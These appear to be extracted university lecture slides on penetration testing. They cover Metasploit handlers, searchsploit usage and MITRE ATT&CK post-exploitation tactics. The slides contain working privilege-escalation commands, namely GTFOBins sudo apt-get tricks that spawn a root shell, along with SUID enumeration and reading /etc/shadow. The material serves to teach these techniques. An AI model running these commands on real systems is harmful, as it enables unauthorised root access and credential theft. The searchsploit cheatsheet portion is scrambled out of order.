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(EXAMPLE) T1203. EXPLOITATION FOR CLIENT EXECUTION. 
MSFVENOM: WORKING EXPLOIT

This is the sequence of actions
• We select the multi/handler (use) 
• Then, configure its parameters to match those of 

the generated exploit
• We launch the exploit simply by visiting the page 

we have modified
• Being a PHP script, just a visit executes its 

payload (we just wait for a victim!)

We could get access to a web server 
changing the code of a web it hosts
• This attack vector has many applications, 

• As many as sites where we can place a payload 
of a msfvenom generated exploit!

• Proper protection of web servers is capital!

➢ Exercise L12B1_MULTIHANDLER

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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T1203. EXPLOITATION FOR CLIENT EXECUTION: ONLINE PUBLIC EXPLOIT

SOURCES

The Reconnaissance phase gave us services 
and their versions

We saw that certain web pages list their 
potential vulnerabilities (CVE)
• CVE-Details (https://www.cvedetails.com/)

• MITRE CVE (https://cve.mitre.org/) 

• NIST (https://nvd.nist.gov/) 

This info enables using public exploit sources 
• Ex.: Exploit-DB, https://www.exploit-db.com/ or its offline mirror 
searchploit

• Each found exploit explains
• If it's local (you need to be logged) or remote
• The related CVE (if any, it may be a 0-day…)
• Where to download its code, how to compile and launch it 

on the remote system
• Additional instructions to make it work

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://www.cvedetails.com/
https://cve.mitre.org/
https://nvd.nist.gov/
https://www.exploit-db.com/
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T1203. EXPLOITATION FOR CLIENT EXECUTION: APPLYING

PUBLIC EXPLOITS

Applying an exploit is NOT as easy as it sounds
• Many times, exploits are very situational

• Requires you to have installed a specific software, a certain 
configuration, a particular situation on the system...

• They apply to very specific versions of the software
• It is very important to determine it during enumeration

• Requires compilation on the attacked system
• Although it may be uploaded in an executable form

• Sometimes require a concrete interpreter on the remote system 
• Although it can also be uploaded

• They can be unstable (or experimental)

You may get several negative results initially
• We can then use an exploit DB specialized in certain products 
• WordPress Vulnerability Database: https://wpvulndb.com/

➢ Exercise L11B2_SEARCHPLOIT

  searchsploit linux reverse password

  searchsploit -j 55555 | json_pp

You can use any number of search terms

By default, search terms are not case-sensitive, ordering is irrelevant, and 

will search between version ranges

Remove false positives (especially when searching using numbers - i.e. 

versions)

When using '--nmap', adding '-v' (verbose), it will search for even more 

combinations

  searchsploit afd windows local

  searchsploit -t oracle windows

  searchsploit -p 39446

  searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

  searchsploit -s Apache Struts 2.0.0

   -c, --case     [Term]: Perform a case-sensitive search (Default is inSEnsITiVe)

   -e, --exact    [Term]: Perform an EXACT & order match on exploit title (Default is an AND match 

on each term) [Implies "-t"]. e.g. "WordPress 4.1" would not be detect "WordPress Core 4.1")

   -m, --mirror   [EDB-ID]: Mirror (aka copies) an exploit to the current working directory

   -u, --update: Check for and install  any exploitdb package updates (brew, deb & git)

   -x, --examine  [EDB-ID]: Examine (aka opens) the exploit using $PAGER

OUTPUT

 --exclude="term": Remove values from results. By using "|" to separate, you can chain multiple 

values.  e.g. --exclude="term1|term2|term3"

   -j, --json     [Term]: Show result in JSON format

 EXAMPLES 

   -p, --path     [EDB-ID]: Show the full  path to an exploit (and also copies the path to the clipboard 

if possible)

   -v, --verbose: Display more information in output

AUTOMATION

 --nmap     [file.xml]: Checks all  results in Nmap's XML output with service version. e.g.: nmap 

[host] -sV -oX fi le.xml

   -w, --www      [Term]: Show URLs to Exploit-DB.com rather than the local path

 --colour: Disable colour highlighting in search results

 --id: Display the EDB-ID value rather than local path

NON-SEARCHING

   -h, --help:  Show this help screen

   -o, --overflow [Term]: Exploit titles are allowed to overflow their columns

SEARCH TERMS

searchsploit Cheatsheet (ingenieriainformatica.uniovi.es)

Public exploit offline browsing tool

https://www.exploit-db.com/searchsploit

GENERAL USAGE

searchsploit [options] term1 [term2] ... [termN]

 NOTES 

Use '-c' if you wish to reduce results by case-sensitive searching

 OPTIONS 

For more examples, see the manual: https://www.exploit-db.com/searchsploit

When updating or displaying help, search terms will be ignored

And/Or '-e' if you wish to filter results by using an exact match

And/Or '-s' if you wish to look for an exact version match

Use '-t' to exclude the file's path to filter the search results

   -s, --strict: Perform a strict search, so input values must exist, disabling fuzzy search for version 

range. e.g. "1.1" would not be detected in "1.0 < 1.3")

   -t, --title    [Term]: Search JUST the exploit title (Default is title AND the fi le's path)

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://wpvulndb.com/
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?

THINK YOU'VE UNDERSTOOD IT ALL? EVALUATE YOURSELF!

You can do the following

• Understand what the objectives of the MITRE ATT&CK implementation phase are

• Know what a remote shell is, what types there are, and which one is most useful

• Understand what the Metasploit Framework (MSF) is for

• Know how to launch a typical attack sequence in MSF

• Understand the benefits of using a Meterpreter-type payload

• Understand the usefulness of msfvenom

• Understand the mechanism by which you can replace an executable, change parts of its code or 

some of its dependencies and thereby compromise a system

• Know where to get exploits from, and the circumstances in which they could be used successfully

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/


Source: Bing Chat AI

Departamento de Informática

Universidad de Oviedo
Universidad de Oviedo

< Go to Index

*Icons by Bing Chat AI

Using the MITRE ATT&CK to know what adversaries 
can do once they are in our systems

POST-EXPLOITATION

TECHNIQUES

https://github.com/jose-r-lopez
https://www.di.uniovi.es/
https://www.uniovi.es/
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WHAT ARE YOU GOING TO FIND IN THIS BLOCK?

In this block you will learn
• The different post-exploitation phases once you have committed a system and executed your 

code in the
• Using GTFOBins to elevate your execution privileges
• The potential consequences of a system intrusion according to the MITRE ATT&CK and their 

severity

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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MITRE ATT&CK. POST-EXPLOITATION TECHNIQUES AND TACTICS

Post exploiting-related phases

Phase 5 Phase 6 Phase 7 Phase 8 Phase 9 Phase 10 Phase 11 Phase 12 Phase 13 Phase 14

Source: 
https://attack.mitre.org/ 

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/
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MITRE ATT&CK. POST-EXPLOITATION TECHNIQUES AND TACTICS

TA0003. Persistence (https://attack.mitre.org/tactics/TA0003/) 
• Techniques that adversaries use to keep access to systems 
• Against restarts, changed credentials…
• Or any other action that could cut off their access  
• Examples: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-

%20Persistence.md, https://pentestlab.blog/methodologies/red-teaming/persistence/

TA0004. Privilege Escalation (https://attack.mitre.org/tactics/TA0004/)
• Techniques used to gain higher-level permissions on a system or network 
• Can often enter and explore a network with unprivileged access 
• But require elevated permissions to follow the “adversary lifecycle”
• Common approaches take advantage of system weaknesses, misconfigurations, vulnerabilities…

• Abusing the built-in mechanism for acquiring elevated privileges from an application (sudo)
• Abusing programs that have the SUID bit active
• Inspecting running programs 
• Generating user accounts

➢ Exercises L12B3_VALIDACC, L12B3_INSPECTSCALE

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0003/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md
https://pentestlab.blog/methodologies/red-teaming/persistence/
https://attack.mitre.org/tactics/TA0004/
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sudo grants temporal root privileges

A typical configuration is having a sudoers group 
whose members can run everything as root
• But sometimes, this configuration is more restrictive
• Full sudo rights are exclusive of some users only
• Other users may have rights to run only a restricted set of 

commands with sudo

The image shows a user that may only run apt-get
as sudo
• Other commands will be forbidden

• apt-get can be used to have root access! (see GTFOBins)…

• Users may check which commands can run with root
privileges with sudo -l

T1548. ABUSE ELEVATION CONTROL MECHANISM: SUDO

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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Setuid and setguid programs are executables with 
these permission bits enabled

These bits enable a program to be temporally run 
with root privileges to perform a task requiring them
• You can find all currently installed executables with these bits 

enabled with find / -perm –u=s –type f 2>/dev/null
• Run chmod +s to activate the bit on an executable

But sometimes these executables maintain root
privileges for longer than necessary…
• See GTFOBins

T1548. ABUSE ELEVATION CONTROL MECHANISM: SUID PROGRAMS

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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T1548. ABUSE ELEVATION CONTROL MECHANISM: GTFOBINS
https://gtfobins.github.io/

The previous concepts are used in GTFOBins techniques
• List of Unix binaries that can be exploited to bypass local security restrictions
• How? an alternative use of a legitimate binary is found that unfolds an attack, hiding it

• This use was not initially intended when the binary was created

• This results in a possible bypass of the security restrictions of a machine, like
• Break out restricted shells and spawn bind and reverse shells
• Escalate or maintain elevated privileges
• Transfer files
• Create bind and reverse shells
• Facilitate other post-exploitation tasks
• …

• Using them is typical on CTFs

"Living Off the Land" techniques (LOLBAS) are the equivalent for Windows
• https://lolbas-project.github.io/
• https://www.tomshardware.com/news/microsoft-cisco-talos-nodersok-divergent-malware,40505.html

➢ Exercises L12B3_RSHELLEXIT, L12B3_SUDOEXE, L12B3_SUDOSCALE, L12B3_SUIDEXE, L12B3_SUIDSCALE

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://gtfobins.github.io/
https://lolbas-project.github.io/
https://www.tomshardware.com/news/microsoft-cisco-talos-nodersok-divergent-malware,40505.html
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All executables, possible effects, and techniques to 
exploit them are listed in the GTFOBin Project web
• https://gtfobins.github.io/

• All we must do is to locate executables in this list on the 
current system

• Determine its possible effects
• See if any of them can be unfolded (SUID Bit, sudo privileges…)
• Just follow the web page command documentation 

instructions!

The following images show
• Spawning a root shell on a SUID-enabled python executable
• Read the shadow file from a SUID-enabled cat executable

• It shows the hash of privileged users, that can be brute-forced 
later

(EXAMPLE) T1548. ABUSE ELEVATION CONTROL MECHANISM: A SUID 
EXECUTABLE

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://gtfobins.github.io/
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We show now examples with a user that can 
only execute apt-get with sudo

GTFOBin techniques allow this user to escalate 
privileges to root permanently
• There are 3 documented techniques
• Technique 1

sudo apt-get changelog apt

(text is shown, press intro until a prompt appears)

!/bin/sh

• Technique 2: the package (e.g., sl) must not be installed
TF=$(mktemp)

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF

sudo apt-get install -c $TF sl

• Technique 3: When the shell exits the update command 
is executed (we can break execution)

sudo apt-get update -o APT::Update::Pre-
Invoke::=/bin/sh

(EXAMPLE) T1548. ABUSE ELEVATION CONTROL MECHANISM: A SUDO

EXECUTABLE

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
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MITRE ATT&CK. POST-EXPLOITATION TECHNIQUES AND TACTICS. REST OF

PHASES

TA0005. Defense Evasion (https://attack.mitre.org/tactics/TA0005/)

• Techniques that adversaries use to avoid detection throughout their compromise operations 
• Uninstalling/disabling security software, obfuscating/encrypting data and scripts, leverage and abuse 

trusted processes to hide and masquerade their malware…

TA0006. Credential Access (https://attack.mitre.org/tactics/TA0006/)

• Techniques for stealing credentials (like account names and passwords) once they exploited the 
systems, such as keylogging or credential dumping (Ex.: exfiltrate the /etc/shadow file)

• Using legitimate credentials can give adversaries access to more systems, make them harder to 
detect, and provide the opportunity to create more accounts to help achieve their goals 

TA0007. Discovery (https://attack.mitre.org/tactics/TA0007/)

• Techniques to gain knowledge about the system and internal network  
• Help to observe the environment and orient before deciding how to act next

• Once an initial system has been compromised (“observe the victim infrastructure”)

• They also allow to explore what adversaries can control and what’s around the entry point, to discover 
how it could help achieving the final objective

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0005/
https://attack.mitre.org/tactics/TA0006/
https://attack.mitre.org/tactics/TA0007/
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MITRE ATT&CK. POST-EXPLOITATION TECHNIQUES AND TACTICS. REST OF

PHASES

TA0008. Lateral Movement (https://attack.mitre.org/tactics/TA0008/)

• Techniques to enter and control remote systems on a network  
• From their initially compromised system, they explore and “move” through the network to find their 

real target
• Reaching an objective often involves pivoting through multiple systems and accounts
• Adversaries might install their own remote access tools to accomplish lateral movement

• Or use legitimate credentials with native network and operating system tools, which may be stealthier

TA0009. Collection (https://attack.mitre.org/tactics/TA0009/)

• Techniques to gather ”inside” victim information, as a previous step to steal it  
• Common targets include various drive types, browsers, audio, video, and email 
• As much important data as possible!

• Common collection methods include capturing screenshots and keyboard input

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0008/
https://attack.mitre.org/tactics/TA0009/
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MITRE ATT&CK. POST-EXPLOITATION TECHNIQUES AND TACTICS. REST OF

PHASES

TA0011. Command and Control (https://attack.mitre.org/tactics/TA0011/)

• Techniques to communicate with systems under their control 
• Initially exploited, exploited reaching them through lateral movements…

• Inside a victim network, mimicking expected traffic to avoid detection 

TA0010. Exfiltration (https://attack.mitre.org/tactics/TA0010/)

• Techniques that adversaries may use to steal data from your network 
• Data obtained in the Collection phase

• Once they’ve collected data, adversaries often obfuscate them it to avoid detection while the 
exfiltration process is undergoing
• Data compression
• Data encryption (Topic 2)
• Steganography (with or without encryption) (Topic 2)
• With GTFOBins

➢ Exercise L11B3_GTFOBINS

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0011/
https://attack.mitre.org/tactics/TA0010/
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TA0040. IMPACT
https://attack.mitre.org/tactics/TA0040/ 

Techniques that adversaries use to 
• Disrupt availability
• Compromise integrity / confidentiality (CIA, Topic 2)

By manipulating business / operational processes, such as
• Legitimate account access removal (availability loss)
• Data destruction (availability/integrity loss)
• Encryption of data (ex. Ransomware) (confidentiality/availability/integrity loss)

• Typically, ransomware exfiltrate data prior to encrypt it, if the data is sensitive, confidentiality is lost

• Data manipulation (stored, while transmitted, at runtime…): (confidentiality/integrity loss)
• If data is manipulated, attackers may first steal it, so confidentiality is also lost

• Defacement of web applications and similar (intimidation, reputation loss)
• Disk wipe (massive data destruction) (availability/integrity loss)
• Endpoint/Network Denial of Service (availability loss)
• Service/system stop (availability loss)
• Obfuscation and anti-forensics techniques

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/
https://attack.mitre.org/tactics/TA0040/
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?

THINK YOU'VE UNDERSTOOD IT ALL? EVALUATE YOURSELF!

You can do the following
• Understand what the overall goals of Persistence techniques are
• Understand what the overall goals of Privilege Scalation techniques are
• Understand what GTFOBins are and how to leverage them in combination with sudo and SUID 

bit mechanisms
• Understand what the general goals of Defense Evasion techniques are
• Understand the overall goals of Credential Access techniques
• Understand the overall goals of Discovery techniques
• Understand what the overall goals of Lateral Movement techniques are
• Understand the overall goals of Collection techniques
• Understand what the overall goals of Impact's techniques are and their ability to breach a 

system's CIA

https://www.linkedin.com/in/jos%C3%A9-manuel-redondo-l%C3%B3pez-56892a1a2/


Thank you 
so much!

Is your 
cybersecurity 

career just 
taking off? 

☺

Source: @creative_vanesa 
(https://www.instagram.com/creative_vanesa/?hl=es)

https://www.instagram.com/creative_vanesa/?hl=es


Source: Bing Chat AI
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